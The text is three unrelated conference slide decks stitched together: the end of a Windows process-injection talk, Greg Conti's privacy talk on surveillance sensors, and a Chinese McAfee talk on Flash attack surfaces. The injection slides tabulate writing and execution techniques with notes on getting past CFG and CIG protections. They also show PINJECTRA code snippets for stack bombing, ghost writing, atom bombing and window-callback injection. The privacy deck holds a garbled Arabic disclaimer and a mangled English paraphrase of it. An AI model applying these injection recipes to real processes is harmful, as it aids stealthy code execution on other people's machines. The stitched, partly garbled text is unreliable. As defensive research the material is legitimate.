CFG – no impact(!). Can use ROP chain.
•
CIG – no impact.
•
Control over registers: not volatile ones.
Paper+Pinjectra has fully functional code (based on APC+memset)
From the FAIL Department
•
SetWinEventHook (DLL injection execution technique)
•
No DLL injection (Windows 10 v1903). All events are “out-of-context”
•
When did it last work?
•
Desktop Heap (write technique)
•
Implementation changed (in Windows 10?), desktop heap no longer shared among
processes.
If you manage to run any of these on Windows 10 x64 version 1903, please let us
know!
Summary tables
Writing techniques
Write Tech.
Prerequisites
Address control
WriteProcessMemory
(none)
Full
Existing Shared Memory
Process has RW
shared memory
(none)
Atom Bombing (APC)
Thread in alertable
state
Full
NtMapViewOfSection
Target address is
unallocated
Full
memset/memmove (APC)
Thread in alertable
state
Full
Execution techniques
Execution Tech.
Family
Prerequisites
CFG/CIG
DLL injection via
CreateRemoteThread
DLL
injection
DLL on disk;
loader lock
CIG requires MSFT signed
DLL
CreateRemoteThread
(none)
Target must be CFG-valid
APC
Thread in
alertable state
Target must be CFG-valid
Thread execution
hijacking (SIR)
(none)
(none)
Windows hook
DLL
injection
DLL on disk;
target loads
user32.dll
CIG requires MSFT signed
DLL
(contd.)
Execution Tech.
Family
Prerequisites
CFG/CIG
Ghost-writing
(none)
(none)
SetWindowLongPtr
Callback
override
Extra windows
bytes is a
pointer to an
object with a
virtual table
Target must be CFG-valid
Unmap+overwrite
(none)
(none)
PROPagate
Callback
override
Process has
subclassed
window
Target must be CFG-valid
(contd.)
Execution Tech.
Family
Prerequisites
CFG/CIG
Kernel Callback
Table
Callback
override
Process must
own a window
Target must be CFG-valid
Ctrl-Inject
Callback
override
Console app.
Target must be CFG-valid
Service Control
Callback
override
Service
Target must be CFG-valid
USERDATA
Callback
override
Console app.
Target must be CFG-valid
ALPC callback
Callback
override
Open ALPC
port
Target must be CFG-valid
(contd.)
Execution Tech.
Family
Prerequisites
CFG/CIG
WNF callback
Callback
override
Process must
use WNF
Target must be CFG-valid
Shatter-style:
WordWarping,
Hyphentension,
AutoCourgette(?),
Streamception,
Oleum
Callback
override
window with
RichEdit
control
Target must be CFG-valid
Shatter-style:
Listplanting,
Treepoline
Callback
override
window with
ListView
control
Target must be CFG-valid
(contd.)
Execution Tech.
Family
Prerequisites
CFG/CIG
Stack Bombing
(thread in
alertable state)
(none)
Bonus: System DLL names for free
•
So you want to force loading a system DLL to a target process?
•
Maybe your favorite ROP gadget is there
•
e.g. QueueUserAPC(LoadLibraryA, thread, ptr to DLL name)
•
And you won’t/can’t write its name to the target process
•
Maybe you can’t use a memory writing technique
•
But the system DLL name is already there!
•
Kernelbase contains a list of 1000+ system DLL names
•
In Kernelbase!g_DllMap+8 there is a pointer to an array of structures, each one 3
QWORDs, where the first QWORD is a pointer to a system DLL name (ASCII, NUL-
terminated), in kernelbase’s .rdata section. For example:
Meet PINJECTRA
•
Version: 1.0 (Initial release)
•
Programming Language: C/C++
•
License: 3-Clause BSD
•
URL: https://github.com/SafeBreach-Labs/pinjectra
PINJECTRA -- High Level Overview
•
Visual Studio Solution that contains 4 Projects:
•
MsgBoxOnGetMsgProc ← DLL Artifact
•
MsgBoxOnProcessAttach ← DLL Artifact
•
Pinjectra ← Techniques & Demo Program
•
TestProcess ← Dummy Testing Program
•
Utilizes C/C++ static type system to provide a mix & match experience to rapid
develop new process injection techniques, as well as to experiment with already-
existing one
Stack Bombing Impl. in PINJECTRA:
e = new CodeViaThreadSuspendInjectAndResume_Complex(
new NtQueueApcThread_WITH_memset(
new _ROP_CHAIN_1()
)
);
e->inject(pid, tid);
Stack Bombing Demo
Ghost Writing Impl. in PINJECTRA:
e = new CodeViaThreadSuspendInjectAndResume_ChangeRspChangeRip_Complex(
new GhostWriting(
new _ROP_CHAIN_2()
)
);
e->inject(pid, tid);
Ghost Writing Demo
UnmapMap Impl. in PINJECTRA:
e = new CodeViaProcessSuspendInjectAndResume_Complex(
new CreateFileMappingA_MapViewOfFile_NtUnmapViewOfSection_NtMapViewOfSection(
new _PAYLOAD_5()
)
);
e->inject(pid, tid);
UnmapMap Demo
SetWindowLongPtr Impl. in PINJECTRA:
e = new CodeViaSetWindowLongPtrA(
new ComplexToMutableAdvanceMemoryWriter(
new _PAYLOAD_4()
,
new VirtualAllocEx_WriteProcessMemory(
NULL,
0,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE)
)
);
e->inject(pid, tid);
SetWindowLongPtr Demo
Atom Bombing Impl. in PINJECTRA:
e = new CodeViaQueueUserAPC(
new OpenThread_OpenProcess_VirtualAllocEx_GlobalAddAtomA(
_gen_payload_2(),
PAYLOAD3_SIZE,
PROCESS_ALL_ACCESS,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
);
e->inject(pid, tid);
Atom Bombing Demo
Summary (sound-bytes)
•
We map the vast territory of “true” process injection, and provide
an analysis and a comparison in a single collection/repository
•
We provide a library (PINJECTRA) for mix-and-match generation of
process injection attacks
•
We describe a new CFG-agnostic execution technique – stack
bombing (and a memory writing technique – memset/memmove
over APC)
Thank you!
Questions? | pdf |
Our Instrumented Life
http://www.nydailynews.com/entertainment/tv/2010/06/07/2010-06-07_a_paparazzo_sits_for_his_portrait.html
Greg Conti // West Point // [email protected]
The views expressed in this presentation are those of the author and
do not reflect the official policy or position of the United States Military
Academy, the Department of the Army, the Department of Defense or
the U.S. Government.
...
ا غا ه نا اه يز بأ ا ءارا ا ی ، يأ
ا ةرازو ، ﺏ ا ﺏا ا وأ ةا تی ا ع
或 تیا ﻡ
عا و ةا.
...
The view points of views expressed by the author of this statement
costumes, and do not reflect the official policy of the University of Bo
and the United States Army, Pentagon U.S. government sector
employment.
Where are the sensors in your life?
http://www.police.nashville.gov/news/media/2009/09/SuspectATM2.jpg
Sometimes They Find You…
http://en.wikipedia.org/wiki/File:Cisco7960G.jpeg
http://img.thesun.co.uk/multimedia/archive/00763/googlemain_763166a.jpg
http://rst.gsfc.nasa.gov/Intro/Part2_26e.html
http://2010.census.gov/mediacenter/img/DSC_0500.JPG
Census Taker Satellite
Robocaller
Streetview
http://www.drpepper.com/promotions/ea/
Sometimes You Go To Them…
http://en.wikipedia.org/wiki/File:Panopticon.jpg
Predictive Models
“The long-term danger is extraction of self. That others
know more about you than you know about yourself.”
“At such a point, we don’t lose just individuality, we lose
the individual”
- Marc Rotenberg
Executive Director
EPIC
Garfinkel, Simson. Database Nation, p. 252
http://www.nytimes.com/2005/06/26/weekinreview/26fount.html?ei=5090&en=72e68bdc3771199d&ex=1277438400&adxnnl=1&partner=rssuserland&emc=rss&adxnnlx=1277384672-tCFhZIeWqKM6UymOmrcuTg
Our Instrumented Lives
• The Problem
• Your Person
• Online
• Your Home
• Your Community
• Countermeasures
• At Look to the Future
Model
Sensor
-Capabilities
-Analog vs. Digital
-Power source
-Mobility
-Strengths &
Weaknesses
Model
Environment
-Subject
-Warning
-Knowledge
-Privacy Policy
-Opt-In &
(Realistic)Opt-Out
-Complicit?
Sensor
-Capabilities
-Analog vs. Digital
-Power source
-Mobility
-Strengths &
Weaknesses
Input
Model
Environment
-Subject
-Warning
-Knowledge
-Privacy Policy
-Opt-In &
(Realistic)Opt-Out
-Complicit?
Data
-Size
-Retention
-Destruction
Sensor
-Capabilities
-Analog vs. Digital
-Power source
-Mobility
-Strengths &
Weaknesses
Input
Model
Environment
-Subject
-Warning
-Knowledge
-Privacy Policy
-Opt-In &
(Realistic)Opt-Out
-Complicit?
Data
-Size
-Retention
-Destruction
Sensor
-Capabilities
-Analog vs. Digital
-Power source
-Mobility
-Strengths &
Weaknesses
Input
Processing
-Uniqueness
-Identity
-Data Mining
Model
Environment
-Subject
-Warning
-Knowledge
-Privacy Policy
-Opt-In &
(Realistic)Opt-Out
-Complicit?
Data
-Size
-Retention
-Destruction
Communication
-Real Time
-NRT
-Batch/Synch
-Leakage
Sensor
-Capabilities
-Analog vs. Digital
-Power source
-Mobility
-Strengths &
Weaknesses
Input
Processing
-Uniqueness
-Identity
-Data Mining
Model
Environment
-Subject
-Warning
-Knowledge
-Privacy Policy
-Opt-In &
(Realistic)Opt-Out
-Complicit?
Data
-Size
-Retention
-Destruction
Communication
-Real Time
-NRT
-Batch/Synch
-Leakage
Sensor
-Capabilities
-Analog vs. Digital
-Power source
-Mobility
-Strengths &
Weaknesses
Input
Processing
-Uniqueness
-Identity
-Data Mining
Consumption
(known)
Consumption
(unknown)
Processing
http://interneteyes.co.uk/
•Anonymous Viewers
•18 or older in EU
• £1000 Monthly prize
• Runners-up included
in a “Thank You List””
Data Spills
http://upload.wikimedia.org/wikipedia/commons/6/66/Exval.jpeg
Uniqueness
Firearm Microstamping
Pixel Noise In Cameras
http://en.wikipedia.org/wiki/Ballistic_fingerprinting
http://www.engadget.com/2006/04/23/pixel-noise-said-to-create-unique-camera-fingerprint/
•
SSN
•
Serial Numbers
•
Watermarking
•
DNA
•
RFID
•
Registration
•
Voice / Fingerprint
•
IP / OS / Application
•
Typewriters
•
Printers / Copiers
•
Typing
•
Morse code fist
•
Handwriting analysis
•
Facial recognition
•
Bar code
•
Gait
•
Information disclosure
…
Genital Recognition
http://en.wikipedia.org/wiki/File:YpsilantiWaterTower.jpg
Chatroulette Plans Penis-Recognition Algorithm to Block Pervy Users
http://www.popsci.com/gadgets/article/2010-06/chatroulette-plans-genital-scanning-software-block-perverts
Types of Sensors
• Laser interferometer
• Parabolic microphone
• RFID readers
• Motion
• Breathalyzer
• Pressure
• Accelerometer
• Electro-optical sensor
• and hundreds more…
For over a great overview see http://en.wikipedia.org/wiki/List_of_sensors
film.dc.gov/film/cwp/view.asp?...c34170%7c
Your Person
Your Clothes
lhttp://www.apple.com/ipod/nike/run.html
http://doc.mo.gov/mve/images/clothing/Civilian%20Blue%20Shirt%20LS.jpg
Nike + iPod
RFID Tags
Custom Clothes
Your Phone
• Two microphones
• 5 Megapixel camera
• 3 axis gyroscope
• Wi-Fi, cellular
connectivity
• Books, movies, phone,
mail, music, web, voice
control, map, accessibility
• 200,000 applications
• Automatic updates
http://www.apple.com/iphone/features/
iPhone 4
Your Phone
• Two microphones
• 5 Megapixel camera
• 3 axis gyroscope
• Wi-Fi, cellular
connectivity
• Books, movies, phone,
mail, music, web, voice
control, map, accessibility
• 200,000 applications
• Automatic updates
http://www.apple.com/iphone/features/
iPhone 4
Research Topic
Your Watch
The Garmin FR60
automatically transfers
data to your PC or Mac,
wirelessly when in range.
No cables, no hookups.
The data's just there,
ready for you to analyze,
categorize, and share
through the Garmin
Connect online
community.
http://www.amazon.com/Men-92s-Garmin-Forerunner60-Fitness-Monitor/dp/B001S2RCXC/ref=sr_1_1?ie=UTF8&s=electronics&qid=1276221149&sr=8-1
Books
http://en.wikipedia.org/wiki/File:Kindle_2_-_Front.jpg
Online
Online Dating Service
http://www.eharmony.com/
Social Networking
Social Search
“Hunch is
arguably the most
ambitious social
search service... it
is getting users to
volunteer a truly
impressive
amount of unique
psychographic
data.”
- Wired
Location Aware
Software
Software
Research Topic
Your Home
http://www.firesafety.gov/media/visuals/images/smoke_alarm/InstallAlarmC1_3.jpg
Cable Box
“Cable companies
experimenting with
different camera
technologies built into
devices so it can know
who’s in your living room.”
•
Experimental stage
•
Probably based on body
forms
•
Assert parental controls
•
Targeted advertising
http://newteevee.com/2008/03/18/comcast-cameras-to-start-watching-you/
http://www.comcast.com/MediaLibrary/1/1/Explore/ProductPages/DC/DVR_top_XF.jpg
Computer
• Web cam
• Microphone
• Scanner
• Fingerprint reader
• Printer copier
• Communication
facilitator
…
http://en.wikipedia.org/wiki/File:MSI_Laptop_computer.jpg
Toys
http://en.wikipedia.org/wiki/File:Teddy_ruxpinBackpack.pnghttp://en.wikipedia.org/wiki/File:Furby.JPG
http://cache.lego.com/upload/contentTemplating/LEGOAboutUs-PressReleases/images/picE9D9E017265EBC62077D58AB3F164766.jpg
Games
“Kinect-like technology could, for
instance, be used in a home-
security system that wouldn't
confuse the motion of pets or
family friends with those of an
unfamiliar intruder…
The algorithm is essentially there
for doing that kind of application,
it's just a question of whether this
is a socially acceptable thing:
having a camera looking in on
people"
-Jamie Shotton
MS Research
Microsoft Kinect (AKA Project Natal)
• Depth sensing camera
• ID and track body parts
- 4cm3 in space/10ms
•On sale in November
http://www.newscientist.com/article/dn19065-innovation-microsofts-kinect-isnt-just-for-games.html
Appliances
http://www.flickr.com/photos/samsungtomorrow/4406179174/
(Geotagging) Cameras
http://www.amazon.com/Sony-DSC-HX5V-Digital-Optical-Stabilization/dp/tech-data/B00328HR76/ref=de_a_smtd6
Sony DSC-HX5V
And More…
http://www.dnr.state.md.us/ed/waterlessurinal.jpg
http://en.wikipedia.org/wiki/File:X10_1.jpg
http://en.wikipedia.org/wiki/Smart_meter
http://www.gwinnettcounty.com/static/departments/police/images/alarm.gif
http://www.genome.gov/images/feature_images/nr_scale.jpg
Smart Power Meter Home Automation
Smart Urinals
Alarm Systems Bathroom Scale
Tweeting Houseplants
Thank you for watering me!
10:40 PM Jun 26th, 2008
URGENT! Water me!
1:53 PM Jun 26th, 2008
Water me please.
1:52 PM Jun 26th, 2008
Thank you for watering me!
12:35 PM Jun 26th, 2008
URGENT! Water me!
12:34 PM Jun 26th, 2008
Water me please.
12:34 PM Jun 26th, 2008
http://twitter.com/startrkplant
http://en.wikipedia.org/wiki/File:Tomatplanta.JPG
The Tweeting Honeymoon Bed
They’re off the job! #27 – Action concluded
at 16.47GMT. Duration: 12m.19 s. Frenzy
Index: 9 (thrash metal). Judge’s Comment:
"Hot sauce!" 8:48 AM Feb 22nd via Power
Twitter
They’re on the job! #27 - Action
commenced at 16.35GMT. Weight: 156KG.
8:35 AM Feb 22nd via Power Twitter
They’re off the job! #26 – Action concluded
at 22.44GMT. Duration: 40m.59 s. Frenzy
Index: 6 (Snow Patrol). Judge’s Comment:
"Shabba." 2:45 PM Feb 18th via Power
Twitter
They’re on the job! #26 - Action
commenced at 22.04GMT. Weight: 156KG.
http://twitter.com/newlywedsontjob
http://en.wikipedia.org/wiki/File:Warsaw_Royal_Castle_GM_%2814%29.JPG
Pleasure Model Robots...
http://www.honeydolls.jp/img/galleryImages/kaze_13.jpg
Pleasure Model Robots...
http://www.honeydolls.jp/img/galleryImages/kaze_13.jpg
Research Topic
Around Town
Buying Coffee, Food, Beer
http://dps.cobbcountyga.gov/images/2009-12-30-zone1-img-02.jpg
At the Hospital
http://www2.hu-berlin.de/sexology/ECE2/birthcert.gif
At the Gym
Photo by Local Fitness - http://en.wikipedia.org/wiki/File:Gym_Cardio_Area_Overlooking_Greenery.JPG
Gunshot Detector
Boomerang III Gunshot Detection System
http://www.defense-update.com/events/2007/summary/mdm07_panoramic.htm
At the Office
http://en.wikipedia.org/wiki/File:Polygraaf.PNG
http://www.maxwell.af.mil/shared/media/photodb/web/090218-F-2522C-038.jpg
http://en.wikipedia.org/wiki/File:Keylogger-software-logfile-example.jpg
Keystroke Logging
Polygraph
Urinalysis
At the Amusement Park
http://en.wikipedia.org/wiki/File:Biometrics.jpg
At the Superbowl
http://en.wikipedia.org/wiki/File:Football_cross.jpg
At the Grocery Store
http://www.shoprite.com/loyalty/images/ppc_wKey.gif
The Cell Phone as Loyalty Card
No one in advertising
has ever been able to
figure out how to do
“one-to-one, real-time
marketing. The mobile
phone is where that will
actually probably
happen. It’s the only
thing connected and
always with you.”
- Drew Sievers
mFoundry
fhttp://www.nytimes.com/2010/06/01/technology/01loopt.html?hpw
http://www.easycashcards.com/images/pizza_shop_customer_card.jpg
http://www.amazon.com/Motorola-CLIQ-Android-Titanium-T-Mobile/dp/B002TX754K/ref=sr_1_8?ie=UTF8&s=wireless&qid=1275847661&sr=1-8
Finance
http://en.wikipedia.org/wiki/File:Smartcard2.png
http://en.wikipedia.org/wiki/File:Fr%C3%BCher_Bankautomat_von_Nixdorf.jpg
Communication
http://transitorienteddevelopment.dot.ca.gov/images/photo/32.jpg
Travel by Car
http://en.wikipedia.org/wiki/File:Redlightcamera.jpg
http://en.wikipedia.org/wiki/Radio-frequency_identification
http://www.cctvcamerapros.com/License-Plate-Capture-Cameras-s/283.htm#LPR-Surveillance-Videos
Also LoJack, radar/laser detection and the black box
License Plate Readers
Red Light/Speed Cameras
Electronic Toll Collection
Travel by Air
http://epic.org/privacy/airtravel/backscatter/
Travel by Train
http://www.wmata.com/fares/smartrip/
Countermeasures*
*Some of these are surely illegal, please talk to a lawyer if you are uncertain.
I’m providing these to be comprehensive, not to suggest you do illegal things.
Live in the 19th Century?
http://en.wikipedia.org/
Live in the 20th Century?*
http://www.davie-fl.gov/Gen/DavieFL_Programms/garbage/0046ABD1-000F8513.1/telephone%20books_books.jpg
http://sanbruno.ca.gov/Library/Newsletter/2008/April%202008/dollar_bill.jpg
*May be more or less impossible in the near future.
Disclose
http://www.syns0r.com/site/Cameras_and_Camcorders/Digital_Cameras/Camera_Kits/store_security_camera.html
Detect
http://en.wikipedia.org/wiki/File:Radar_Detector._canada._Escort_Passport_8500_x50_blue_3635.jpg
See also sweeping rooms by specialists
Monitor
http://www.mediaeater.com/cameras/info/cb-01.html
Bypass
Shield
http://licenseplatecovers.info/
http://en.wikipedia.org/wiki/File:Elektrisch_dode_kamer_%28kooi_van_Faraday%29.JPG
See also RFID blocking wallets, radar camouflaging paint
Faraday Room License Plate Cover
Jam
http://www.maine.gov/dep/rwm/drinkingwater/photos/running
%20water%20from%20kitchen%20faucet.jpg
See also “vibrating windows,” lasers into optical sensors
Disable*
http://www.puppetgov.com/wp-content/uploads/2009/08/speed-camera-011-774542.jpg
*Please don’t do this
See also take out batteries, microwave RFID
Express Displeasure
http://www.bluffcitypd.com/
http://www2.tricities.com/tri/news/local/article/anti-speed_camera_activist_nabs_bluff_city_pds_expiring_web_domain/47244/?ik
Art
http://www.stopdigitalstripsearches.org/
Art
http://www.stopdigitalstripsearches.org/
Research Topic
Rally Community Support
http://oldstersview.files.wordpress.com/2006/08/camera.jpg
See also the English Villagers vs. Street View Cars
Embarass
Spoof
http://cdn.physorg.com/newman/gfx/news/2005/schuckers2005.jpg
Stephanie Schuckers (Clarkson University)
Raise Awareness
http://www.youtube.com/watch?v=hrontojPWEE
Anonymization*
* This slide is deliberately left blank.
Vote With Your Wallet
http://en.wikipedia.org/wiki/File:WalletMpegMan.jpg
Engage Policy Makers and Media
http://www.californiaprogressreport.com/September-10,-2007-125.gif
http://vulcan.wr.usgs.gov/Imgs/Jpg/MSH/MSH05/MSH05_media_interview_USGS_Lockhart_03-10-05_med.jpg
Canadian Standards Association Code
for Protecting Personal Information
• Accountability
• Identifying Purposes
• Consent
• Limiting Collection
• Limiting Use, Disclosure, and Retention
• Accuracy
• Safeguards
• Openness
• Individual Access
• Challenging Compliance
Database Nation, p279
Vote With Your Vote
http://www.miamidade.gov/district08/photogallery/Albums/District8/elections_seniors/JMF_3007--Photo%20Gallery%20-%20420%20JPEG%20-%20Large.jpg
Support Opt-in
http://www.thelasthope.org/amd.php
Conduct and Share Research
Find Like Minded Individuals
• ACM Computers Freedom and
Privacy Conference
– http://www.cfp2010.org
• Workshop on Privacy in the
Electronic Society (WPES)
– http://wpes10.csi.muohio.edu/
• Privacy Enhancing
Technologies Symposium
(PETS)
– http://petsymposium.org/
• … and many more
Support Your Privacy Champions of Choice
Privacy by Design
http://www.designspongeonline.com/2010/06/thanks-for-shredding-my-paper-coffee-table.html
http://www.nps.gov/history/history/online_books/declaration/images/fig8.jpg
A Look to the Future…
Through Wall Radar
•
Handheld through-wall radar, which has
been designed to be used by police,
special forces or the emergency services.
•
It provides quick and covert intelligence on
the movement and location of people in a
room or building - without the need for
invasive sensors.
•
Highlights moving people and objects in
cluttered environments, through doors or
brick, block and concrete walls.
•
Easy to use
•
Can be tripod-mounted for long-term
surveillance
•
Remote monitoring and data recording
using a laptop computer
http://www.cambridgeconsultants.com/prism_200.html
Cambridge Consultants
Prism 200
Internet Scale Experimentation
http://blog.taragana.com/index.php/archive/google-background-experiment-withdrawn/
Electronic License Plates
http://en.wikipedia.org/wiki/File:MI_2008.jpg
Instrumented Kids
Wearable Computing
http://www.cc.gatech.edu/~thad/
Reading the Brain
functional Magnetic Resonance Imaging (fMRI)
http://en.wikipedia.org/wiki/File:FMRI.jpg
http://www.reuters.com/article/idUSN2214937420100622
“Now scientists can read your
mind better than you can”
Recent Experiment
-50% of humans accurately
predicted own future behavior
-Activity in medial prefontal
cortex, 75% accuracy
“While the findings can be
important for advertisers seeking
to hone a motivational message,
they can be equally important for
public health experts trying to
persuade people to make
healthier choices”
- Emily Falk, UCLA
Mobile User Data Mining
Example: A Recent ATT Project
• LA and NYC
• March 15 – 15 May 2009
• Millions of SMS and Voice
records
– Source / Destination Number
– Type and Duration of contact
– Cell phone tower ID
• Location accuracy w/i 1 Mile
• Studied travel habits
• New Yorkers travel 2.5 miles
on weekdays and ~70 miles
on weekends.
See… http://www.technologyreview.com/communications/25396/
2M Cell Phone Users in Belgium
6 Months
Dutch-speaking (green)
French-speaking (red)
By Vincent Blondel
Reality Mining
•
The Reality Mining research project aims:
– developing technology and algorithms for
sensing
– Modeling
– Changing human behavior.
•
Some themes…
– Sociology in the 21st Century
– User Behavior Modeling and Prediction
– Relationship Inference
– Social Serendipity
– Organizational Dynamics
– Epidemiology and Information Dissemination
– Eigenbehavior
•
Complex Social Systems: “By continually
logging and time-stamping information about
a user's activity, location, and proximity to
other users, the dynamics of large-scale
human behavior can be measured. ”
See… http://reality.media.mit.edu/viz.php
MIT Media Lab
Reality Mining Group
PI: Nathan Eagle
Deep Learning
• $2M Four year DARPA project
• Identify objects, actions, and
voices
• Spot activities like running,
jumping, getting out of car
• Uses unsupervised learning
“Ideally, what we’ll come away
with is a ‘generic learning box’
that can identify every data
cue”
Yann LeCun and Rob Fergus
New York University
See… http://www.wired.com/dangerroom/2010/05/
darpa-code-teaching-itself-what-the-world-looks-like/
Augmented Reality
http://en.wikipedia.org/wiki/File:Augmented_GeoTravel.jpg
The Internet of Things
• Self-configuring wireless network of
sensors
• RFID will play a big role
• Purpose to interconnect many (all)
things
• Ability to encode 50 to 100 trillion
objects
• Follow the movement of those objects.
• Every human being is surrounded by
1,000 to 5,000 objects
• IPv6 Addressing 2^128
See… http://en.wikipedia.org/wiki/Internet_of_Things
http://www.campbellsoup.com/images/condensed/photos/2292.png
Conclusions
http://media.photobucket.com/image/nuclear%20fallout%20poster%20map%20targets/newbie_bucket/Fig004-0120Simplified20Fallout20Pat.jpg
Questions?
http://www.state.gov/cms_images/MG6414.jpg | pdf |
McAfee
消灭Flash,彻底消除它
一份关于Flash攻击途径的全面的研究报告
演讲人:Haifei Li, Chong Xu
2019
PART 01
目录
CONTENTS
PART 02
背景介绍
PART 03
PART 04
01
02
05
04
03
PART 05
Flash在浏览器环
境中的攻击途径
Flash在Microsoft
Office中的攻击途径
Flash在PDF
中的攻击途径
总结
演讲者
Haifei Li. 安全领域知名的安全研究员。现就职
于迈克菲(加拿大)。研究领域包括(但不局
限于)微软的生态系统,真实攻击的攻击面分
析,下一代防御技术的安全研究及实现。他的
研究结果经常分享于主要的安全会议,
CanSecWest (四次),Black Hat USA 2015,
Microsoft Blue Hat 2016, Syscan360 2012,
Tencent TenSec 2016,Syscan360 Seattle 2017
等。他是2017年Pwnie Awards获得者。
Chong Xu.美国杜克大学网络及安全技术博士。
现任迈克菲高级总监,领导入侵防御团队的研
发。他致力于入侵及防御技术、威胁情报的研
究及在此基础上的创新。他的团队进行漏洞分
析、恶意程序分析、僵尸网络检测及APT检测,
并且将安全内容和创新性检测防护决方案提供
给迈克菲的网络IPS、 主机IPS、沙箱等产品
及迈克菲全球威胁情报当中。
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
PART.01
背景介绍
背景介绍
Ø Adobe Flash - 多媒体软件平台(超过十亿台设备)
Ø Flash技术的广泛使用
Ø 动画/多媒体互联网内容(超过三百万flash内容开发者)
Ø 桌面应用程序,移动应用程序,移动游戏
Ø Apple App Store/Google Play Store有超过两万的移动应用
Ø Facebook排名前二十五的游戏有二十四个使用Flash
Ø 中国排名前九的使用flash技术的游戏每月产生超过七千万美元的效益
Ø 浏览器视频播放器
Ø Flash技术的广泛使用所带来的问题
Ø Flash技术跨平台,攻击路径多
Ø Flash本身没有安全机制
Ø 用户更新慢(四百万台式机用户在新版本发布六个月内升级)
Ø Flash – 当之无愧的漏洞高发的重灾区
Ø 0-day之王 - 2011年以来使用flash漏洞的
0-day攻击的不完全统计
CVE-2011-0609 CVE-2011-0611 CVE-2011-2110
CVE-2012-0779 CVE-2012-1535 CVE-2012-5054
CVE-2013-0634 CVE-2013-5331 CVE-2014-0497
CVE-2014-0502 CVE-2014-0515 CVE-2014-8439
CVE-2014-9163 CVE-2015-0310 CVE-2015-0311
CVE-2015-0313 CVE-2015-3043 CVE-2015-3113
CVE-2015-5119 CVE-2015-5123 CVE-2015-5122
CVE-2015-7645 CVE-2015-8651 CVE-2016-0984
CVE-2016-1010 CVE-2016-1019 CVE-2016-4117
CVE-2016-4171 CVE-2016-7855 CVE-2016-7892
CVE-2017-11292 CVE-2018-4878 CVE-2018-5002
CVE-2018-15982
Ø Flash exploit是如何被传送的?
Ø Flash文件(.swf)无法直接被打开
Ø Flash是以插件的形式存在并运行在其它宿主应用程序(浏览器,Microsoft Office,PDF)内部
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
PART.02
Flash在浏览器环境中的攻击途径
Flash在浏览器环
境中的攻击途径
Ø 四大主流浏览器上的Flash攻击途径
Ø Google Chrome
Ø Microsoft Edge
Ø Microsoft Internet Explorer
Ø Mozilla Firefox
Ø 主流浏览器Flash攻击的缓解及封杀机制
Ø Click-to-play
Ø 沙盒(sandbox)
Flash在浏览器环境中的攻击途径 - Chrome
Ø 自带Flash版本,"Pepper Flash Player"
Ø Chrome是第一个采取措施限制Flash使用的浏览器,最早开
始于2015年6月(https://chrome.googleblog.com/2015/06/better-
battery-life-for-your-laptop.html)
Ø 现在,所有的在线Flash内容都要求click-to-play,意味着如果
用户不点击确认的话,Chrome用户将对所有Flash漏洞免疫
Flash在浏览器环境中的攻击途径 - Edge
Ø 使用安装在Windows上的COM版本的Flash
(在Windows 8+,这个版本的Flash是默认安
装的)
Ø Edge从2016年12月开始限制Flash内容,到
目前为止,
几乎所有Flash内容都要求click-to-play
Flash在浏览器环境中的攻击途径 - Edge
Ø Edge的白名单
Ø 2018年11月,Google P0研究员Ivan Fratric发现这里有个白名单
(https://bugs.chromium.org/p/project-zero/issues/detail?id=1722)
Ø 白名单上的网站的Flash内容依然能自动播放
Ø 后来,微软把这个白名单缩小到两个域名
Ø https://www.facebook.com
Ø https://apps.facebook.com
Ø Ivan Fratric在2018年12月发现Edge上的这个click-to-play的功能可以被绕过
( https://bugs.chromium.org/p/project-zero/issues/detail?id=1747)
Flash在浏览器环境中的攻击途径 – Internet Explorer
Ø 和Edge一样,IE也是直接使用Windows上COM形式的Flash插件
Ø 但是,和Chrome/Edge不同的是,IE上根本没有click-to-play这
个功能。事实上,微软根本没有采取任何措施来缓解或限制Flash
在IE上的使用
Ø 还是和以前一样, Flash内容会直接运行!
Flash在浏览器环境中的攻击途径 – FireFox
Ø Firefox上没有默认安装的Flash程序。
Ø 如果Firefox用户需要播放Flash,必
须手动去Adobe网站安装适合Firefox
的(NPAPI架构) Flash插件
Ø 安装好Flash插件后,网站的Flash
内容也不会自动播放,仍需要click-to-
play
Flash在浏览
器环境中的
攻击途径 –
小结
Ø 浏览器下的攻击封杀机制 - Click-to-Play
Ø 浏览器下的攻击缓解机制 - 沙箱
浏览器
Flash 插件的架构
Click-to-play
引入日期
Google Chrome
PPAPI (Pepper Flash)
Yes
Jun 2015
Microsoft Edge
Windows ActiveX/COM
Yes
December 2016
Internet Explorer
Windows ActiveX/COM
No
N/A
Mozilla Firefox
NPAPI
Yes
August 2017
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
PART.03
Flash在Microsoft Office中的攻击途径
Flash在
Microsoft Office
中的攻击途径 -
Flash in Office
Ø 2018年5月之前,Flash内容可在Office上直接播放(以ActiveX/OLE对象的形式) ,
这就给攻击者提供了一种利用Flash漏洞的攻击途径
Ø 过去两年来,我们看到了一个清晰的转向:攻击者们更多地使用Office来传播他们
的Flash 0-day(之前更多地是利用浏览器)
时间
CVE
文件类型
2017年10月
CVE-2017-11292
Word
2018年2月
CVE-2018-4878
Excel
2018年6月
CVE-2018-5002
Excel
2018年12月
CVE-2018-15982
Word
Flash在
Microsoft Office
中的攻击途径 -
Flash in Office
Ø 微软的动作
Ø 2018年5月14号,微软宣布它将开始在Office上禁用Flash内容。依据其blog,该措施
只针对于Office 365用户,具体计划是:
Ø Office 365 Monthly Channel用户开始于2018年6月
Ø Office 365 Semi Annual Targeted (SAT) Channel用户开始于2018年9月
Ø Office 365 Semi Annual (SA) Channel用户开始于2019年1月
Ø 我们对所有版本Office都做了测试后发现这次微软的动作不仅限于Office 365订阅用户。
至少从2018年底开始,Office 2016和最新的Office 2019也已经禁用了Flash内容
Ø 受支持的Office版本里只剩下Office 2010和Office 2013微软没有采取行动
Flash在
Microsoft Office
中的攻击途径 -
Flash in Office
Ø Adobe的动作
Ø 以前,如果在Office里尝试运行Flash内容,Flash
Player插件会先检查当前的container (Office)版本,
如果其低于2010(比如Office 2007),则会弹出对
话框,要求用户确认后Flash内容才会运行
Ø 这称之为Flash for Office的click-to-play
Ø 如果是Office 2010或更高的版本,则不受此影响
